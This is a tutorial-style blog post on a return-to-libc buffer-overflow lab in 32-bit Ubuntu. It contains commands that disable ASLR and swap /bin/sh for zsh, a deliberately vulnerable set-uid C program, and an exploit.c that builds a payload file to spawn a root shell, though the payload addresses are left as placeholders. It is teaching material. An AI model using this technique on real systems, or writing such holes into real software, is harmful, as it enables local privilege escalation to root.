Return to libc attack experiment

Posted by tony_c on Sun, 05 Dec 2021 09:10:37 +0100

1, Experimental description

        The common attack method of buffer overflow is to overwrite the return address of the vulnerable program with the address of shellcode, so that the vulnerable program can execute the shellcode stored in the stack. In order to prevent this type of attack, some operating systems make the system administrator have the ability to make the stack unenforceable. In this way, once the program executes, the shellcode stored in the stack will crash, preventing the attack.

        Unfortunately, the above protection methods are not completely effective. Now there is a variant attack of buffer overflow, called return to libc attack. This attack does not require a stack to execute, or even a shellcode. Instead, we let the vulnerable program jump to the existing code (such as the system () function in the libc library loaded into memory) to realize our attack.

2, Experimental preparation

System user name: shiyanlou

        The experimental building provides 64 bit Ubuntu linux. In order to facilitate the observation of assembly statements, we need to operate in a 32-bit environment, so we need to make some preparations before the experiment.

2.1 enter the command to install some software packages for compiling 32-bit C programs
sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386 #This process takes a long time, please wait for a while

sudo apt-get install lib32readline-gplv2-dev

2.2 enter the command linux32 into the 32-bit linux environment, and enter / bin/bash to use bash

3, Experimental steps

3.1 initial setting

         In Ubuntu and other Linux systems, address space randomization is used to randomize the initial addresses of the heap and stack, which makes it very difficult to guess the accurate memory address, which is the key to buffer overflow attack. Therefore, in this experiment, we use the following command to turn off this function:

sudo sysctl -w kernel.randomize_va_space=0

Experimental screenshot:

        In addition, in order to further prevent buffer overflow attacks and other attacks using shell programs, many shell programs automatically give up their privileges when called. Therefore, even if you can cheat a set uid program to call a shell, you can't maintain root permission in the shell. This protective measure is implemented in / bin/bash.

        In linux systems, / bin/sh is actually a symbolic link to / bin/bash or / bin/dash. To reproduce the situation before this safeguard was implemented, we used another shell program (zsh) instead of / bin/bash. The following instructions describe how to set up the zsh program:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

Experimental screenshot:

        In order to prevent buffer overflow attacks, the latest version of gcc compiler sets the program compilation as stack non executable by default, and you can manually set whether to make the stack non executable during compilation:

gcc -z execstack -o test test.c    #Stack executable

gcc -z noexecstack -o test test.c  #Stack not executable

        The purpose of this experiment is to show that the protection measure of "stack is not executable" is not completely effective, so we use - z noexecstack, or use the default setting of the compiler without manual specification.

3.2 vulnerability procedures

        Save the following code as a "retlib.c" file and save it in the / tmp directory. The code is as follows:

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

        Compile the program and set the SET-UID

       The GCC compiler has a stack protection mechanism to prevent buffer overflow, so we need to turn this mechanism off with - fno stack protector when compiling code.

       The above program has a buffer overflow vulnerability. It first reads 40 bytes of data from a file called badfile to a 12 byte buffer, causing overflow. The freead() function does not check boundaries, so an overflow occurs. Since this program is a SET-ROOT-UID program, if an ordinary user exploits this buffer overflow vulnerability, he may get the root shell. It should be noted that this program obtains input from a file called bad "le, which is controlled by the user. Now our goal is to create content for bad "le", so that when the vulnerable program copies this content into its buffer, a root shell is generated.

       We also need a program to read environment variables, and create a new getenvaddr.c file in the / home/shiyanlou directory. The contents of the file are as follows:

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

        Compile:

3.3 attack procedures

        Create a new exploit.c file as follows:

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

Compile as follows:

        "0x11111111", "0x22222222" and "0x33333333" in the code are bin respectively_ The addresses of SH, system and exit need to be obtained next.

3.4 get memory address

1. Get bin with the getenvaddr program just now_ SH address:

2. gdb obtains the system and exit addresses:

Modify the exploit.c file and fill in the memory address just found:

Delete the exploit program and badfile file just debugged and compiled, and recompile the modified exploit.c:

3.5 attacks

First run the attack program exploit, and then run the vulnerability program retlib. It can be seen that the attack is successful and the root permission is obtained:

Topics: Linux Operation & Maintenance server